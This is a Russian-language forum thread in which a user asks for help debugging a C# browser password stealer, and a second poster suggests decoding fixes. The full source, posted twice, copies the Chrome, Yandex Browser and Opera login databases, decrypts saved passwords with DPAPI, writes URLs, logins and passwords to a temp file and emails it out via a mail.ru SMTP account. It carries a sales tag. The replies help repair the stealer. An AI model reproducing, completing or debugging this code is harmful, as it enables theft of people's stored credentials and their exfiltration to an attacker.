Помогите пожалуйста. Выдает ошибку при компиляции *******а. Ниже предоставлен код ошибки и код *******а. Code C# Текст ошибки System.Security.Cryptography.CryptographicException: "Параметр задан неверно." Необработанное исключение типа "System.Security.Cryptography.CryptographicException" в System.Security.dll Параметр задан неверно. 1 Часть кода, class Password using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; namespace ******* { class Passwords { static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath) { if (File.Exists(Path.GetTempPath() + @"StealLog\Login Data")) // Если файл по данному пути существует, то удаляем его { File.Delete(Path.GetTempPath() + @"StealLog\Login Data"); } File.Copy(dbPath, Path.GetTempPath() + @"StealLog\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер dbPath = Path.GetTempPath() + @"StealLog\Login Data"; var connectionString = "Data Source=" + dbPath + ";pooling=false"; using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString)) using (var cmd = conn.CreateCommand()) { cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins"; conn.Open(); using (var reader = cmd.ExecuteReader()) { while (reader.Read()) { var encryptedData = (byte[])reader[0]; var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей var plainText = Encoding.ASCII.GetString(decodedData); yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText); } } conn.Close(); } } } } } Код using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; namespace ******* { class Passwords { static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath) { if (File.Exists(Path.GetTempPath() + @"StealLog\Login Data")) // Если файл по данному пути существует, то удаляем его { File.Delete(Path.GetTempPath() + @"StealLog\Login Data"); } File.Copy(dbPath, Path.GetTempPath() + @"StealLog\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер dbPath = Path.GetTempPath() + @"StealLog\Login Data"; var connectionString = "Data Source=" + dbPath + ";pooling=false"; using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString)) using (var cmd = conn.CreateCommand()) { cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins"; conn.Open(); using (var reader = cmd.ExecuteReader()) { while (reader.Read()) { var encryptedData = (byte[])reader[0]; var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей var plainText = Encoding.ASCII.GetString(decodedData); yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText); } } conn.Close(); } } } } } 2 часть кода, class Program using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Net.Mail; using System.Text; using System.Threading.Tasks; namespace ******* { class Program { static void Main(string[] args) { ///создаем папку где будет лежать файл с паролем (Папка будет создана в каталоге TEMP.) Directory.CreateDirectory(Path.GetTempPath() + "StealLog"); ///Создадим переменную paths в которой хранятся пути к файлам Login Data (Файлы Login Data содержат пароли): string[] paths = { Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data", Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data" }; ///создаём переменную pwd_text string pwd_text = ""; foreach (string p in paths) //идем по папкам { var pas = Passwords.ReadPass(p); if (File.Exists(p)) // если файл с паролями существует, то выполняем следующие действия { pwd_text += "Reborn Exodus ******* buy: @exploit_dar\r\n\r\n"; foreach (var item in pas) { if ((item.Item2.Length > 0) && (item.Item2.Length > 0)) // если значения логина и пароля не пустые, то заносим их в переменную { pwd_text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n"; pwd_text += " \r\n"; } } } ////Делаем проверку, если файл Login Data находится в нашей папке, то удаляем его. if (File.Exists(Path.GetTempPath() + @"StealLog\Login Data")) { File.Delete(Path.GetTempPath() + @"StealLog\Login Data"); } ///Запишем все пароли в .txt файл: File.WriteAllText(Path.GetTempPath() + @"StealLog\Passwords.txt", pwd_text); // записываем пароли в файл ///отправить файл с паролями SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu Smtp.Credentials = new NetworkCredential("почта@mail.ru", "Password"); // Меняем на своё, можно создать левую почту. Smtp.EnableSsl = true; MailMessage Message = new MailMessage(); Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем Message.To.Add("почта@mail.ru"); Message.Subject = "Log | @vilmi.su"; // Заголовок письма Message.Body = "******* by VLIMI"; // Текст письма Message.Attachments.Add(new Attachment(Path.GetTempPath() + @"RebornExodus\Passwords.txt")); // Добавляем вложение с логом Smtp.Send(Message); // Отправляем } } } } Код using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Net.Mail; using System.Text; using System.Threading.Tasks; namespace ******* { class Program { static void Main(string[] args) { ///создаем папку где будет лежать файл с паролем (Папка будет создана в каталоге TEMP.) Directory.CreateDirectory(Path.GetTempPath() + "StealLog"); ///Создадим переменную paths в которой хранятся пути к файлам Login Data (Файлы Login Data содержат пароли): string[] paths = { Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data", Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data" }; ///создаём переменную pwd_text string pwd_text = ""; foreach (string p in paths) //идем по папкам { var pas = Passwords.ReadPass(p); if (File.Exists(p)) // если файл с паролями существует, то выполняем следующие действия { pwd_text += "Reborn Exodus ******* buy: @exploit_dar\r\n\r\n"; foreach (var item in pas) { if ((item.Item2.Length > 0) && (item.Item2.Length > 0)) // если значения логина и пароля не пустые, то заносим их в переменную { pwd_text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n"; pwd_text += " \r\n"; } } } ////Делаем проверку, если файл Login Data находится в нашей папке, то удаляем его. if (File.Exists(Path.GetTempPath() + @"StealLog\Login Data")) { File.Delete(Path.GetTempPath() + @"StealLog\Login Data"); } ///Запишем все пароли в .txt файл: File.WriteAllText(Path.GetTempPath() + @"StealLog\Passwords.txt", pwd_text); // записываем пароли в файл ///отправить файл с паролями SmtpClient Smtp = new SmtpClient("smtp.mail.ru", 587); // Создаём Smpt соединения с почтой mail.tu Smtp.Credentials = new NetworkCredential("почта@mail.ru", "Password"); // Меняем на своё, можно создать левую почту. Smtp.EnableSsl = true; MailMessage Message = new MailMessage(); Message.From = new MailAddress("почта@mail.ru"); // Кому отправляем Message.To.Add("почта@mail.ru"); Message.Subject = "Log | @vilmi.su"; // Заголовок письма Message.Body = "******* by VLIMI"; // Текст письма Message.Attachments.Add(new Attachment(Path.GetTempPath() + @"RebornExodus\Passwords.txt")); // Добавляем вложение с логом Smtp.Send(Message); // Отправляем } } } }
Это как минимум не ошибка компиляции, а ошибка в райнтайме. Вряд ли пароль изначально был в ASCII, а не в UTF-8. Если было бы больше информации о структуре таблицы logins из спойлера1, то можно было бы предложить решение, но я не знаю какая структура у этой таблицы и какие типы данных там хранятся. Могу только предположить, что в таблице logins поле password_value хранится как Base64 строка, а не массив байт. Тогда строку Спойлер var encryptedData = (byte[])reader[0]; заменить на Спойлер var encryptedData = Convert.FromBase64String(reader.GetString(0)); И строку с plainText заменить на Спойлер var plainText = Encoding.UTF8.GetString(decodedData);
nnm_soft, System.FormatException: "Входные данные не являются действительной строкой Base-64, поскольку содержат символ в кодировке, отличной от Base 64, больше двух символов заполнения или недопустимый символ среди символов заполнения. "